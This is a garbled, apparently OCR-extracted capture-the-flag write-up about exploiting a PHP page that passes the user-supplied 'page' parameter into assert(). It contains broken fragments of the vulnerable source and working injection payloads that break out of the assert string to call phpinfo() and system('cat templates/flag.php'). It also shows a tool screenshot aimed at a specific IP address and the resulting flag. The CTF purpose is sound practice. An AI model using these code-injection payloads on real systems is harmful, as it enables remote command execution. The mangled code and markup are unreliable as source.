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index.php
if (isset 'page’
= 'page’
else
= "home"
= "templates/" . . ".php"
// I heard '..' is dangerous!
assert("strpos("' ', "..'") === false") or die("Detected hacking attempt!"

// TODO: Make this Look nice
assert("file_exists("' ")") or die("That file doesn't exist!"

?>
htm1 XAy

<?php
require_once
?>
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index.php?page=").phpinfo();//
?page=".phpinfo()." #A A WAL
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assert("strpos('templates/").phpinfo();//.php', '..') === false") or die("Detected hacking attempt!");
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?page=").system("cat templates/flag.php");//



& (O view-source:http://111.200.241.244:54891/index.php?page=").system(" cat templates/flag.php

INT v = & SOLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING-

@ Load URL [ http://111.200.241.244:54891/index.php
ﬁ Split URL ?page=").system("cat templates/flag.php”);//

¥ Execute

[] Postdata [ | Referrer 4% OxHEX ™ &% %URL ¥ &% BASE6G4 ™  |/nsert

<Pphp $FLAGC="cyberpeace [(16f29d72c238454187777d81fbeafO07b] ~: 2>
<?php $FLAG="cyberpeace {16f29d72c238454187777d81fbeaf07b} " ?>
{IDOCTYPE hitml>
<html>
<head>
{meta charset="utf-8">
<{meta http-equiv="X-UA-Compatible” content="1E=edge”>
{meta name="viewport” content="width=device-width, initial-scale=1">

{title>My PHP Website</title>

?page=".system("cat templates/flag.php")."
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